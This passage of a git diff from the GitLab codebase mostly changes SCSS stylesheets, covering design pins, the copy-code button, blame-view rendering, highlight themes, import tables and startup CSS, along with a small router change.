+ component: () => import('../pages/create_work_item.vue'),
+ },
+ {
path: '/:id',
- name: 'work_item',
+ name: 'workItem',
component: () => import('../pages/work_item_root.vue'),
props: true,
},
diff --git a/app/assets/stylesheets/components/design_management/design.scss b/app/assets/stylesheets/components/design_management/design.scss
index a3cbdb9ae86..377d5130571 100644
--- a/app/assets/stylesheets/components/design_management/design.scss
+++ b/app/assets/stylesheets/components/design_management/design.scss
@@ -12,7 +12,7 @@ $t-gray-a-16-design-pin: rgba($black, 0.16);
top: 35px;
}
- .badge.badge-pill {
+ .design-note-pin {
display: flex;
height: $design-pin-diameter;
width: $design-pin-diameter;
@@ -23,6 +23,7 @@ $t-gray-a-16-design-pin: rgba($black, 0.16);
border-radius: 50%;
z-index: 1;
padding: 0;
+ border: 0;
&.resolved {
background-color: $gray-500;
@@ -34,7 +35,7 @@ $t-gray-a-16-design-pin: rgba($black, 0.16);
}
.comment-indicator,
- .frame .badge.badge-pill {
+ .frame .design-note-pin {
&:active {
cursor: grabbing;
}
@@ -43,7 +44,7 @@ $t-gray-a-16-design-pin: rgba($black, 0.16);
/**
* Design pin that overlays the design
*/
- .frame .badge.badge-pill {
+ .frame .design-note-pin {
box-shadow: 0 2px 4px $t-gray-a-08, 0 0 1px $t-gray-a-24;
border: $white 2px solid;
will-change: transform, box-shadow, opacity;
@@ -114,7 +115,7 @@ $t-gray-a-16-design-pin: rgba($black, 0.16);
}
}
- .badge.badge-pill {
+ .design-note-pin {
margin-left: $gl-padding;
}
diff --git a/app/assets/stylesheets/framework/buttons.scss b/app/assets/stylesheets/framework/buttons.scss
index e458dfd5316..e0e9043ae24 100644
--- a/app/assets/stylesheets/framework/buttons.scss
+++ b/app/assets/stylesheets/framework/buttons.scss
@@ -451,3 +451,17 @@ fieldset[disabled] .btn,
box-shadow: none;
border-width: 1px;
}
+
+copy-code {
+ @include gl-absolute;
+ @include gl-transition-medium;
+ @include gl-opacity-0;
+
+ top: 7px;
+ right: $input-horizontal-padding;
+
+ .markdown-code-block:hover &,
+ &:focus-within {
+ @include gl-opacity-10;
+ }
+}
diff --git a/app/assets/stylesheets/framework/common.scss b/app/assets/stylesheets/framework/common.scss
index 354d2737894..36a0d3ca3ca 100644
--- a/app/assets/stylesheets/framework/common.scss
+++ b/app/assets/stylesheets/framework/common.scss
@@ -479,6 +479,13 @@ img.emoji {
border-top: 1px solid $border-color;
}
+.gl-pseudo-placeholder:empty::before {
+ content: attr(data-placeholder);
+ font-weight: $gl-font-weight-normal;
+ color: $gl-text-color-secondary;
+ cursor: text;
+}
+
/**
🚨 Do not use these classes — they clash with the Gitlab UI design system and will be removed. 🚨
See https://gitlab.com/gitlab-org/gitlab/issues/36857 for more details.
diff --git a/app/assets/stylesheets/framework/contextual_sidebar.scss b/app/assets/stylesheets/framework/contextual_sidebar.scss
index fa1892903a3..345c180d164 100644
--- a/app/assets/stylesheets/framework/contextual_sidebar.scss
+++ b/app/assets/stylesheets/framework/contextual_sidebar.scss
@@ -81,7 +81,6 @@
@include gl-px-0;
@include gl-pb-2;
@include gl-pt-0;
- min-width: 150px;
background-color: $gray-10;
box-shadow: 0 $gl-spacing-scale-2 $gl-spacing-scale-5 $t-gray-a-24, 0 0 $gl-spacing-scale-1 $t-gray-a-24;
border-style: none;
@@ -309,6 +308,10 @@
}
a.has-sub-items + .sidebar-sub-level-items {
+ @include media-breakpoint-up(sm) {
+ min-width: 150px;
+ }
+
.fly-out-top-item {
@include fly-out-top-item($has-sub-items: true);
}
@@ -373,6 +376,18 @@
}
}
}
+
+ li > a.gl-link {
+ // undo gl-link text items for things in the sidebar - including sub menus
+ // defined in https://gitlab.com/gitlab-org/gitlab-ui/-/blob/5431e0ca5149d4e02e3d5d617d194ac9609bb82d/src/components/base/link/link.scss
+ @include gl-text-body;
+
+ &:active,
+ &:focus,
+ &:focus:active {
+ @include gl-text-decoration-none;
+ }
+ }
}
.sidebar-sub-level-items {
diff --git a/app/assets/stylesheets/framework/files.scss b/app/assets/stylesheets/framework/files.scss
index 8f65f349cf9..9209a0c2173 100644
--- a/app/assets/stylesheets/framework/files.scss
+++ b/app/assets/stylesheets/framework/files.scss
@@ -151,7 +151,17 @@
margin: 0;
}
+ //
+ // IMPORTANT PERFORMANCE OPTIMIZATION
+ //
+ // When viewinng a blame with many commits a lot of content is rendered on the page.
+ // content-visibility rule below ensure that we only render what is visible to the user,
+ // thus reducing TBT in the browser.
+ // Grid is used instead of table layout because content-visibility performs better with it.
tr {
+ content-visibility: auto;
+ display: grid;
+ grid-template-columns: 400px max-content auto;
border-bottom: 1px solid $gray-darker;
&:last-child {
@@ -201,6 +211,10 @@
&.lines {
padding: 0;
}
+
+ .code {
+ height: 100%;
+ }
}
@for $i from 0 through 5 {
@@ -222,25 +236,6 @@
color: $gray-900;
}
}
-
- //
- // IMPORTANT PERFORMANCE OPTIMIZATION
- //
- // When viewinng a blame with many commits a lot of content is rendered on the page.
- // content-visibility rules below ensure that we only render what is visible to the user, thus reducing TBT in the browser.
- .commit {
- content-visibility: auto;
- contain-intrinsic-size: 1px 3em;
- }
-
- code .line {
- content-visibility: auto;
- contain-intrinsic-size: 1px 1.1875rem;
- }
-
- .line-numbers {
- content-visibility: auto;
- }
}
&.logs {
diff --git a/app/assets/stylesheets/framework/header.scss b/app/assets/stylesheets/framework/header.scss
index ae46ff33ec0..44b099fc873 100644
--- a/app/assets/stylesheets/framework/header.scss
+++ b/app/assets/stylesheets/framework/header.scss
@@ -523,9 +523,9 @@ $top-nav-hover-bg: var(--indigo-900-alpha-008, $indigo-900-alpha-008) !important
background-color: $orange-300;
height: 12px;
width: 12px;
- margin-top: -15px;
pointer-events: none;
visibility: hidden;
+ top: 3px;
}
.with-notifications .notification-dot {
diff --git a/app/assets/stylesheets/framework/layout.scss b/app/assets/stylesheets/framework/layout.scss
index e00bb83362a..f79dc38f2f7 100644
--- a/app/assets/stylesheets/framework/layout.scss
+++ b/app/assets/stylesheets/framework/layout.scss
@@ -174,3 +174,30 @@ body {
min-height: 0;
}
}
+
+.gl-drawer-responsive {
+ // Both width & min-width
+ // are defined as per Pajamas
+ // See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44902#note_429056182
+ width: 28%;
+ min-width: 400px;
+ padding-left: $gl-padding;
+ padding-right: $gl-padding;
+ box-shadow: none;
+ background-color: $gray-10;
+ border-left: 1px solid $gray-100;
+
+ @include media-breakpoint-down(sm) {
+ min-width: unset;
+ width: 100%;
+ }
+
+ // These overrides should not happen here,
+ // we should ideally have support for custom
+ // header and body classes in `GlDrawer`.
+ .gl-drawer-header,
+ .gl-drawer-body > * {
+ padding-left: 0;
+ padding-right: 0;
+ }
+}
diff --git a/app/assets/stylesheets/framework/markdown_area.scss b/app/assets/stylesheets/framework/markdown_area.scss
index 9b04b9a2612..c6e52c13e83 100644
--- a/app/assets/stylesheets/framework/markdown_area.scss
+++ b/app/assets/stylesheets/framework/markdown_area.scss
@@ -139,6 +139,10 @@
font-family: $monospace-font !important;
}
+.suggestions.md > .markdown-code-block {
+ @include gl-static;
+}
+
.md-suggestion-header {
height: $suggestion-header-height;
display: flex;
diff --git a/app/assets/stylesheets/framework/snippets.scss b/app/assets/stylesheets/framework/snippets.scss
index c59e70c80df..39786aa0138 100644
--- a/app/assets/stylesheets/framework/snippets.scss
+++ b/app/assets/stylesheets/framework/snippets.scss
@@ -16,6 +16,11 @@
.snippet-file-content {
border-radius: 3px;
+ .file-content {
+ max-height: 500px;
+ overflow-y: auto;
+ }
+
+ .snippet-file-content {
@include gl-mt-5;
}
diff --git a/app/assets/stylesheets/framework/typography.scss b/app/assets/stylesheets/framework/typography.scss
index cb36c4e5767..16ff4b81f95 100644
--- a/app/assets/stylesheets/framework/typography.scss
+++ b/app/assets/stylesheets/framework/typography.scss
@@ -625,6 +625,7 @@ body {
/** CODE **/
pre {
+ @include gl-relative;
font-family: $monospace-font;
display: block;
padding: $gl-padding-8 $input-horizontal-padding;
@@ -636,6 +637,11 @@ pre {
background-color: $gray-light;
border: 1px solid $gray-100;
border-radius: $border-radius-small;
+
+ // Select only code elements that will have the copy code button
+ .markdown-code-block & {
+ padding: $input-horizontal-padding;
+ }
}
code {
diff --git a/app/assets/stylesheets/highlight/common.scss b/app/assets/stylesheets/highlight/common.scss
index fb4266a2f41..97dd7edef13 100644
--- a/app/assets/stylesheets/highlight/common.scss
+++ b/app/assets/stylesheets/highlight/common.scss
@@ -45,12 +45,12 @@
}
}
-@mixin line-number-hover($color) {
- background-color: $color;
- border-color: darken($color, 5%);
+@mixin line-number-hover {
+ background-color: $purple-100;
+ border-color: $purple-200;
a {
- color: darken($color, 15%);
+ color: $gray-600;
}
}
diff --git a/app/assets/stylesheets/highlight/themes/dark.scss b/app/assets/stylesheets/highlight/themes/dark.scss
index 2d180f49f97..0b696f1be60 100644
--- a/app/assets/stylesheets/highlight/themes/dark.scss
+++ b/app/assets/stylesheets/highlight/themes/dark.scss
@@ -22,7 +22,6 @@ $dark-highlight-bg: #ffe792;
$dark-highlight-color: $black;
$dark-pre-hll-bg: #373b41;
$dark-hll-bg: #373b41;
-$dark-over-bg: #9f9ab5;
$dark-expanded-bg: #3e3e3e;
$dark-coverage: #b3e841;
$dark-no-coverage: #ff4f33;
@@ -93,9 +92,10 @@ $dark-il: #de935f;
.file-line-num {
@include line-number-link($dark-line-num-color);
}
-
+
.line-numbers,
- .diff-line-num {
+ .diff-line-num,
+ .code-search-line {
background-color: $dark-main-bg;
}
@@ -169,16 +169,17 @@ $dark-il: #de935f;
}
.diff-grid-left:hover,
- .diff-grid-right:hover {
+ .diff-grid-right:hover,
+ &.code-search-line:hover {
.diff-line-num:not(.empty-cell) {
- @include line-number-hover($dark-over-bg);
+ @include line-number-hover;
}
}
.diff-line-num {
&.is-over,
&.hll:not(.empty-cell).is-over {
- @include line-number-hover($dark-over-bg);
+ @include line-number-hover;
}
}
diff --git a/app/assets/stylesheets/highlight/themes/monokai.scss b/app/assets/stylesheets/highlight/themes/monokai.scss
index c0931188cc3..ae72c0b6bf4 100644
--- a/app/assets/stylesheets/highlight/themes/monokai.scss
+++ b/app/assets/stylesheets/highlight/themes/monokai.scss
@@ -15,7 +15,6 @@ $monokai-line-empty-bg: #49483e;
$monokai-line-empty-border: darken($monokai-line-empty-bg, 15%);
$monokai-diff-border: #808080;
$monokai-highlight-bg: #ffe792;
-$monokai-over-bg: #9f9ab5;
$monokai-expanded-bg: #3e3e3e;
$monokai-coverage: #a6e22e;
$monokai-no-coverage: #fd971f;
@@ -96,7 +95,8 @@ $monokai-gh: #75715e;
}
.line-numbers,
- .diff-line-num {
+ .diff-line-num,
+ .code-search-line {
background-color: $monokai-bg;
}
@@ -170,16 +170,17 @@ $monokai-gh: #75715e;
}
.diff-grid-left:hover,
- .diff-grid-right:hover {
+ .diff-grid-right:hover,
+ &.code-search-line:hover {
.diff-line-num:not(.empty-cell) {
- @include line-number-hover($monokai-over-bg);
+ @include line-number-hover;
}
}
.diff-line-num {
&.is-over,
&.hll:not(.empty-cell).is-over {
- @include line-number-hover($monokai-over-bg);
+ @include line-number-hover;
}
}
diff --git a/app/assets/stylesheets/highlight/themes/none.scss b/app/assets/stylesheets/highlight/themes/none.scss
index ef7eb244b61..913b289d808 100644
--- a/app/assets/stylesheets/highlight/themes/none.scss
+++ b/app/assets/stylesheets/highlight/themes/none.scss
@@ -16,7 +16,8 @@
}
.line-numbers,
- .diff-line-num {
+ .diff-line-num,
+ .code-search-line {
background-color: $gray-light;
}
@@ -43,7 +44,6 @@
}
// Diff line
- $none-over-bg: #ded7fc;
$none-expanded-border: #e0e0e0;
$none-expanded-bg: #e0e0e0;
@@ -67,9 +67,10 @@
}
.diff-grid-left:hover,
- .diff-grid-right:hover {
+ .diff-grid-right:hover,
+ &.code-search-line:hover {
.diff-line-num:not(.empty-cell) {
- @include line-number-hover($none-over-bg);
+ @include line-number-hover;
}
}
@@ -88,7 +89,7 @@
&.is-over,
&.hll:not(.empty-cell).is-over {
- @include line-number-hover($none-over-bg);
+ @include line-number-hover;
}
&.hll:not(.empty-cell) {
diff --git a/app/assets/stylesheets/highlight/themes/solarized-dark.scss b/app/assets/stylesheets/highlight/themes/solarized-dark.scss
index 8f09a178af1..eee699ca4c2 100644
--- a/app/assets/stylesheets/highlight/themes/solarized-dark.scss
+++ b/app/assets/stylesheets/highlight/themes/solarized-dark.scss
@@ -19,7 +19,6 @@ $solarized-dark-line-color-new: #5a766c;
$solarized-dark-line-color-old: #7a6c71;
$solarized-dark-highlight: #094554;
$solarized-dark-hll-bg: #174652;
-$solarized-dark-over-bg: #9f9ab5;
$solarized-dark-expanded-bg: #010d10;
$solarized-dark-coverage: #859900;
$solarized-dark-no-coverage: #cb4b16;
@@ -99,7 +98,8 @@ $solarized-dark-il: #2aa198;
}
.line-numbers,
- .diff-line-num {
+ .diff-line-num,
+ .code-search-line {
background-color: $solarized-dark-line-bg;
}
@@ -149,9 +149,10 @@ $solarized-dark-il: #2aa198;
}
.diff-grid-left:hover,
- .diff-grid-right:hover {
+ .diff-grid-right:hover,
+ &.code-search-line:hover {
.diff-line-num:not(.empty-cell) {
- @include line-number-hover($solarized-dark-over-bg);
+ @include line-number-hover;
}
}
@@ -182,7 +183,7 @@ $solarized-dark-il: #2aa198;
.diff-line-num {
&.is-over,
&.hll:not(.empty-cell).is-over {
- @include line-number-hover($solarized-dark-over-bg);
+ @include line-number-hover;
}
}
diff --git a/app/assets/stylesheets/highlight/themes/solarized-light.scss b/app/assets/stylesheets/highlight/themes/solarized-light.scss
index 747cc639f91..8c5e1f7318b 100644
--- a/app/assets/stylesheets/highlight/themes/solarized-light.scss
+++ b/app/assets/stylesheets/highlight/themes/solarized-light.scss
@@ -20,7 +20,6 @@ $solarized-light-line-color-new: #a1a080;
$solarized-light-line-color-old: #ad9186;
$solarized-light-highlight: #eee8d5;
$solarized-light-hll-bg: #ddd8c5;
-$solarized-light-over-bg: #ded7fc;
$solarized-light-expanded-border: #d2cdbd;
$solarized-light-expanded-bg: #ece6d4;
$solarized-light-coverage: #859900;
@@ -106,7 +105,8 @@ $solarized-light-il: #2aa198;
}
.line-numbers,
- .diff-line-num {
+ .diff-line-num,
+ .code-search-line {
background-color: $solarized-light-line-bg;
}
@@ -169,9 +169,10 @@ $solarized-light-il: #2aa198;
}
.diff-grid-left:hover,
- .diff-grid-right:hover {
+ .diff-grid-right:hover,
+ &.code-search-line:hover {
.diff-line-num:not(.empty-cell) {
- @include line-number-hover($solarized-light-over-bg);
+ @include line-number-hover;
}
}
@@ -190,7 +191,7 @@ $solarized-light-il: #2aa198;
.diff-line-num {
&.is-over,
&.hll:not(.empty-cell).is-over {
- @include line-number-hover($solarized-light-over-bg);
+ @include line-number-hover;
}
}
diff --git a/app/assets/stylesheets/highlight/white_base.scss b/app/assets/stylesheets/highlight/white_base.scss
index 86b01926dd7..c0f8475323a 100644
--- a/app/assets/stylesheets/highlight/white_base.scss
+++ b/app/assets/stylesheets/highlight/white_base.scss
@@ -9,7 +9,6 @@ $white-code-color: $gl-text-color;
$white-highlight: #fafe3d;
$white-pre-hll-bg: #f8eec7;
$white-hll-bg: #f8f8f8;
-$white-over-bg: #ded7fc;
$white-expanded-border: #e0e0e0;
$white-expanded-bg: #f7f7f7;
$white-c: #998;
@@ -83,7 +82,8 @@ $white-gc-bg: #eaf2f5;
}
.line-numbers,
-.diff-line-num {
+.diff-line-num,
+.code-search-line {
background-color: $gray-light;
&.conflict_marker,
@@ -129,9 +129,10 @@ pre.code,
}
.diff-grid-left:hover,
- .diff-grid-right:hover {
+ .diff-grid-right:hover,
+ &.code-search-line:hover {
.diff-line-num:not(.empty-cell):not(.conflict_marker_their):not(.conflict_marker_our) {
- @include line-number-hover($white-over-bg);
+ @include line-number-hover;
}
}
@@ -156,7 +157,7 @@ pre.code,
&.is-over,
&.hll:not(.empty-cell).is-over {
- @include line-number-hover($white-over-bg);
+ @include line-number-hover;
}
&.hll:not(.empty-cell) {
diff --git a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
index 3e5271f84d5..2c5ea8347ae 100644
--- a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
+++ b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
@@ -326,10 +326,6 @@
}
}
-.transfer-project .select2-container {
- min-width: 200px;
-}
-
.right-sidebar {
.block {
.select2-container span {
diff --git a/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss b/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss
index 8794acd3c78..ee777820b81 100644
--- a/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss
+++ b/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss
@@ -113,8 +113,8 @@
- mini graph in Commit widget pipeline
*/
@mixin pipeline-graph-dropdown-menu() {
- width: 240px;
- max-width: 240px;
+ width: auto;
+ max-width: 400px;
// override dropdown.scss
&.dropdown-menu li button,
@@ -185,8 +185,6 @@
}
.ci-status-icon {
- @include gl-mr-3;
-
position: relative;
> svg {
diff --git a/app/assets/stylesheets/page_bundles/ide.scss b/app/assets/stylesheets/page_bundles/ide.scss
index 47580e37eca..d37171bc75e 100644
--- a/app/assets/stylesheets/page_bundles/ide.scss
+++ b/app/assets/stylesheets/page_bundles/ide.scss
@@ -904,6 +904,7 @@ $ide-commit-header-height: 48px;
.sidebar-context-title {
white-space: nowrap;
display: block;
+ color: var(--ide-text-color, $gl-text-color);
&.text-secondary {
font-weight: normal;
@@ -964,6 +965,10 @@ $ide-commit-header-height: 48px;
margin: 0;
}
}
+
+ .gl-tab-content {
+ color: var(--ide-text-color, $gl-text-color);
+ }
}
.ide-pipeline-header {
diff --git a/app/assets/stylesheets/page_bundles/import.scss b/app/assets/stylesheets/page_bundles/import.scss
index c74b5460e1a..79468ce62ce 100644
--- a/app/assets/stylesheets/page_bundles/import.scss
+++ b/app/assets/stylesheets/page_bundles/import.scss
@@ -1,12 +1,5 @@
@import 'mixins_and_variables_and_functions';
-// Fixing double scrollbar issue
-// See https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1156 and
-// https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54837
-.import-entities-namespace-dropdown.show.dropdown .dropdown-menu {
- max-height: initial;
-}
-
.import-jobs-to-col {
width: 39%;
}
@@ -38,3 +31,31 @@
box-shadow: inset 0 0 0 1px var(--gray-200, $gray-200);
}
}
+
+$import-bar-height: $gl-spacing-scale-11;
+
+.import-table-bar {
+ @include gl-sticky;
+ height: $import-bar-height;
+ top: $header-height;
+ z-index: 3;
+
+ html.with-performance-bar & {
+ top: $header-height + $performance-bar-height;
+ }
+}
+
+.import-table {
+ border-collapse: separate;
+
+ thead {
+ @include gl-sticky;
+ background-color: var(--gray-10, $gray-10);
+ top: calc(#{$header-height} + #{$import-bar-height});
+ z-index: 3;
+
+ html.with-performance-bar & {
+ top: calc(#{$header-height + $performance-bar-height} + #{$import-bar-height});
+ }
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/merge_requests.scss b/app/assets/stylesheets/page_bundles/merge_requests.scss
index 7d1230b0225..02113fe8b58 100644
--- a/app/assets/stylesheets/page_bundles/merge_requests.scss
+++ b/app/assets/stylesheets/page_bundles/merge_requests.scss
@@ -45,7 +45,7 @@
top: calc(#{$top-pos} + var(--system-header-height, 0px) + var(--performance-bar-height, 0px));
// stylelint-disable-next-line length-zero-no-unit
max-height: calc(100vh - #{$top-pos} - var(--system-header-height, 0px) - var(--performance-bar-height, 0px) - var(--review-bar-height, 0px));
- z-index: 202;
+ z-index: 205;
.drag-handle {
bottom: 16px;
diff --git a/app/assets/stylesheets/page_bundles/pipeline.scss b/app/assets/stylesheets/page_bundles/pipeline.scss
index c8b1b6cf9aa..a9d353a0444 100644
--- a/app/assets/stylesheets/page_bundles/pipeline.scss
+++ b/app/assets/stylesheets/page_bundles/pipeline.scss
@@ -129,11 +129,17 @@
}
.gl-pipeline-job-width {
- width: 186px;
+ width: 100%;
+ max-width: 400px;
}
.gl-pipeline-job-width\! {
- width: 186px !important;
+ width: 100% !important;
+ max-width: 400px !important;
+}
+
+.gl-downstream-pipeline-job-width {
+ width: 240px;
}
.gl-linked-pipeline-padding {
@@ -199,7 +205,6 @@
.big-pipeline-graph-dropdown-menu {
@include pipeline-graph-dropdown-menu();
- width: 195px;
min-width: 195px;
left: 100%;
top: -10px;
diff --git a/app/assets/stylesheets/pages/clusters.scss b/app/assets/stylesheets/pages/clusters.scss
index b450bca4f41..5a091c14e53 100644
--- a/app/assets/stylesheets/pages/clusters.scss
+++ b/app/assets/stylesheets/pages/clusters.scss
@@ -7,20 +7,6 @@
}
}
- .agents-empty-state {
- .text-content {
- @include gl-max-w-full;
- @include media-breakpoint-up(lg) {
- max-width: 70%;
- }
- }
-
- .gl-alert-actions {
- @include gl-mt-0;
- @include gl-flex-wrap;
- }
- }
-
.gl-card-body {
@include media-breakpoint-up(sm) {
@include gl-pt-2;
@@ -40,3 +26,15 @@
}
}
}
+
+.agent-activity-list {
+ .system-note .timeline-entry-inner {
+ .timeline-icon {
+ @include gl-mt-1;
+ }
+ }
+
+ &.issuable-discussion .main-notes-list::before {
+ @include gl-top-3;
+ }
+}
diff --git a/app/assets/stylesheets/pages/commits.scss b/app/assets/stylesheets/pages/commits.scss
index 7f35b8fab43..cc8ea1493fc 100644
--- a/app/assets/stylesheets/pages/commits.scss
+++ b/app/assets/stylesheets/pages/commits.scss
@@ -149,7 +149,6 @@
.commit-content {
padding-right: 10px;
white-space: normal;
- overflow: hidden;
.commit-title {
display: flex;
diff --git a/app/assets/stylesheets/pages/issuable.scss b/app/assets/stylesheets/pages/issuable.scss
index cf5e93e94a2..8600a4059d8 100644
--- a/app/assets/stylesheets/pages/issuable.scss
+++ b/app/assets/stylesheets/pages/issuable.scss
@@ -456,12 +456,6 @@
}
.multiple-users {
- position: relative;
- height: 24px;
- margin-bottom: 17px;
- margin-top: 4px;
- padding-bottom: 4px;
-
.btn-link {
padding: 0;
border: 0;
@@ -875,10 +869,6 @@
}
}
-.issuable-suggestions svg {
- vertical-align: sub;
-}
-
.suggestion-footer {
font-size: 12px;
line-height: 15px;
diff --git a/app/assets/stylesheets/pages/merge_requests.scss b/app/assets/stylesheets/pages/merge_requests.scss
index 3b86750c6ca..a4b8e912614 100644
--- a/app/assets/stylesheets/pages/merge_requests.scss
+++ b/app/assets/stylesheets/pages/merge_requests.scss
@@ -947,19 +947,6 @@ $tabs-holder-z-index: 250;
color: $gray-500;
line-height: initial;
}
-
- // GlDropdown mini pipeline (Vue)
- // As the `mini-pipeline-item` mixin specificity is lower
- // than the toggle of dropdown with 'variant="link"' we add
- // classes ".gl-button.btn-link" to make it more specific
- // and avoid having the size overriden
- //
- // See https://gitlab.com/gitlab-org/gitlab/-/issues/320737
- button.gl-button.btn-link.mini-pipeline-graph-dropdown-toggle,
- .stage-cell button.gl-button.btn-link.mini-pipeline-graph-dropdown-toggle svg {
- height: $ci-action-icon-size-lg;
- width: $ci-action-icon-size-lg;
- }
}
.merge-request-details .file-finder-overlay.diff-file-finder {
diff --git a/app/assets/stylesheets/pages/profile.scss b/app/assets/stylesheets/pages/profile.scss
index af9f10c9a26..a7ed7172f5f 100644
--- a/app/assets/stylesheets/pages/profile.scss
+++ b/app/assets/stylesheets/pages/profile.scss
@@ -329,16 +329,6 @@ table.u2f-registrations {
}
}
-.email-badge {
- display: inline;
- margin-right: $gl-padding / 2;
-
- .email-badge-email {
- display: inline;
- margin-right: $gl-padding / 4;
- }
-}
-
.edit-user {
svg {
fill: $gl-text-color-secondary;
diff --git a/app/assets/stylesheets/pages/search.scss b/app/assets/stylesheets/pages/search.scss
index 2e6c6a021f8..4c31cc6e111 100644
--- a/app/assets/stylesheets/pages/search.scss
+++ b/app/assets/stylesheets/pages/search.scss
@@ -321,6 +321,51 @@ input[type='checkbox']:hover {
}
}
+// This overrides parts of the Project File View CSS
+// We leverage most of the styling but broke off
+// from how we were doing it in `shared/file_highlight`
+#search-blob-content {
+ .line_holder {
+ pre {
+ padding: 0; // This overrides the existing style that will add space between each line.
+ }
+
+ svg {
+ float: none; // We have more than one icon on this implementation and don't want to float them.
+ margin: 0; // We will manage the margin with GitLab UI utility classes
+ }
+
+ .line-numbers {
+ padding: 0; // This overrides the existing style that will add space between each line.
+ min-width: 6.5rem; // Ensure our numbers fit
+
+ .diff-line-num {
+ a {
+ transition: none; // There will be a hover transition from theme, blue, darkened
+ }
+ }
+ }
+
+ &:hover {
+ svg {
+ visibility: visible; // We want to show the icons when the any part of the line is hovered
+ }
+ }
+
+ // The icons only appear on hover
+ // So on mobile we can hide them and retake the space for the code blob
+ @include media-breakpoint-down(sm) {
+ svg {
+ display: none;
+ }
+
+ .line-numbers {
+ min-width: 4rem;
+ }
+ }
+ }
+}
+
// Disable webkit input icons, link to solution: https://stackoverflow.com/questions/9421551/how-do-i-remove-all-default-webkit-search-field-styling
/* stylelint-disable property-no-vendor-prefix */
input[type='search']::-webkit-search-decoration,
diff --git a/app/assets/stylesheets/startup/startup-dark.scss b/app/assets/stylesheets/startup/startup-dark.scss
index efa4b04ee62..c9ff8205142 100644
--- a/app/assets/stylesheets/startup/startup-dark.scss
+++ b/app/assets/stylesheets/startup/startup-dark.scss
@@ -407,6 +407,34 @@ h1 {
.gl-form-input.form-control::placeholder {
color: #868686;
}
+.gl-icon {
+ fill: currentColor;
+}
+.gl-icon.s12 {
+ width: 12px;
+ height: 12px;
+}
+.gl-icon.s16 {
+ width: 16px;
+ height: 16px;
+}
+.gl-icon.s32 {
+ width: 32px;
+ height: 32px;
+}
+.gl-link {
+ font-size: 0.875rem;
+ color: #428fdc;
+}
+.gl-link:active {
+ color: #9dc7f1;
+}
+.gl-link:active {
+ text-decoration: underline;
+ box-shadow: 0 0 0 1px rgba(51, 51, 51, 0.4),
+ 0 0 0 4px rgba(66, 143, 220, 0.48);
+ outline: none;
+}
.gl-button {
display: inline-flex;
}
@@ -439,6 +467,29 @@ h1 {
outline: none;
background-color: #404040;
}
+.gl-button.gl-button.btn-default:active .gl-icon,
+.gl-button.gl-button.btn-default.active .gl-icon {
+ color: #fafafa;
+}
+.gl-button.gl-button.btn-default .gl-icon {
+ color: #999;
+}
+.gl-search-box-by-type-search-icon {
+ margin: 0.5rem;
+ color: #999;
+ width: 1rem;
+ position: absolute;
+}
+.gl-search-box-by-type {
+ display: flex;
+ position: relative;
+}
+.gl-search-box-by-type-input,
+.gl-search-box-by-type-input.gl-form-input {
+ height: 2rem;
+ padding-right: 2rem;
+ padding-left: 1.75rem;
+}
body,
.form-control,
.search form {
@@ -912,9 +963,9 @@ input {
background-color: #9e5400;
height: 12px;
width: 12px;
- margin-top: -15px;
pointer-events: none;
visibility: hidden;
+ top: 3px;
}
.top-nav-toggle .dropdown-icon {
margin-right: 0.5rem;
@@ -1139,6 +1190,11 @@ input {
border-right: 0.25rem solid #fff;
border-right-color: var(--black, #fff);
}
+@media (min-width: 576px) {
+ .nav-sidebar a.has-sub-items + .sidebar-sub-level-items {
+ min-width: 150px;
+ }
+}
.nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item {
display: none;
}
@@ -1329,6 +1385,12 @@ input {
font-weight: 400;
color: #9dc7f1;
}
+.sidebar-top-level-items li > a.gl-link {
+ color: #fafafa;
+}
+.sidebar-top-level-items li > a.gl-link:active {
+ text-decoration: none;
+}
.sidebar-sub-level-items {
padding-top: 0;
padding-bottom: 0;
@@ -1770,6 +1832,7 @@ body.gl-dark .header-search svg {
body.gl-dark .header-search input {
background-color: transparent;
color: rgba(250, 250, 250, 0.8);
+ box-shadow: inset 0 0 0 1px rgba(250, 250, 250, 0.4);
}
body.gl-dark .header-search input::placeholder {
color: rgba(250, 250, 250, 0.8);
@@ -1826,6 +1889,9 @@ body.gl-dark .navbar-gitlab .search form:active {
background-color: var(--gray-100);
box-shadow: inset 0 0 0 1px var(--blue-200);
}
+body.gl-dark .navbar-gitlab .search form .search-input {
+ color: var(--gl-text-color);
+}
body.gl-dark {
--gray-10: #1f1f1f;
@@ -1948,6 +2014,9 @@ body.gl-dark {
display: block;
}
}
+.gl-relative {
+ position: relative;
+}
.gl-absolute {
position: absolute;
}
diff --git a/app/assets/stylesheets/startup/startup-general.scss b/app/assets/stylesheets/startup/startup-general.scss
index 977f994dc78..a57202515ad 100644
--- a/app/assets/stylesheets/startup/startup-general.scss
+++ b/app/assets/stylesheets/startup/startup-general.scss
@@ -388,6 +388,34 @@ h1 {
.gl-form-input.form-control::placeholder {
color: #868686;
}
+.gl-icon {
+ fill: currentColor;
+}
+.gl-icon.s12 {
+ width: 12px;
+ height: 12px;
+}
+.gl-icon.s16 {
+ width: 16px;
+ height: 16px;
+}
+.gl-icon.s32 {
+ width: 32px;
+ height: 32px;
+}
+.gl-link {
+ font-size: 0.875rem;
+ color: #1f75cb;
+}
+.gl-link:active {
+ color: #0b5cad;
+}
+.gl-link:active {
+ text-decoration: underline;
+ box-shadow: 0 0 0 1px rgba(255, 255, 255, 0.4),
+ 0 0 0 4px rgba(31, 117, 203, 0.48);
+ outline: none;
+}
.gl-button {
display: inline-flex;
}
@@ -420,6 +448,29 @@ h1 {
outline: none;
background-color: #dbdbdb;
}
+.gl-button.gl-button.btn-default:active .gl-icon,
+.gl-button.gl-button.btn-default.active .gl-icon {
+ color: #303030;
+}
+.gl-button.gl-button.btn-default .gl-icon {
+ color: #666;
+}
+.gl-search-box-by-type-search-icon {
+ margin: 0.5rem;
+ color: #666;
+ width: 1rem;
+ position: absolute;
+}
+.gl-search-box-by-type {
+ display: flex;
+ position: relative;
+}
+.gl-search-box-by-type-input,
